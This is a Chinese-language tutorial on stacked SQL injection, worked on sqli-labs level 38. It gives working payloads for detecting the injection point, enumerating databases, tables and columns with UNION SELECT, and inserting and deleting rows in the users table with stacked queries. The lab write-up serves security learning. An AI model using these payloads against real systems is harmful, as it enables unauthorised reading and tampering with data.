SQL注入-堆叠注入
原理:
数据库支持堆叠查询,所谓堆叠查询就是执行多条语句,语句以;
隔开。
并且代码使用了支持堆叠查询的函数,列如PHP的mysqli_multi_query()
。
堆叠注入就是在第二条语句中构造payload,注:页面只返回第一条语句,不返回第二条语句。
堆叠注入后果很严重,可以直接对数据库增删改。
判断注入点
环境:sqli-labs
第38关。
输入?id=1' and '1
和?id=1' and '0
,页面发生改变,存在注入,字符类型。
联合注入查询库,表 ,字段
判断回显的字段数,可以用order by
也可以直接?id=-1' union select 1,2,3 --+
测试,多了就加少了就减,最终结果为3个:
在2的位置显示数据库,3的位置显示用户名:
payload:?id=-1' union select 1,database(),user() --+
:
得出数据库名称为security后,我们查询该数据库中的表?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user() --+
:
知道表之后我们查询users表中的字段?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),user() --+
:
好,我们知道了users表中存在id,username,password字段。
堆叠注入的利用
上面我们知道了users表中的字段,下面我们利用堆叠注入往表中插入数据:?id=-1';insert into users(id,username,password) value(99,'wwwcn','123456'); --+
:
发现没有回显,因为堆叠注入只在页面回显第一条,我们输入?id=99
查看一下有没有插入进来:
可以发现我们已经成功往数据库中插入数据。
接着我们尝试删除这条数据?id=-1';delete from users where id=99 --+
:
我们在输入?id=99
检验一下是否删除:
没有任何数据,说明已经被删除了。
总:
堆叠注入很少见到,但危害性极大。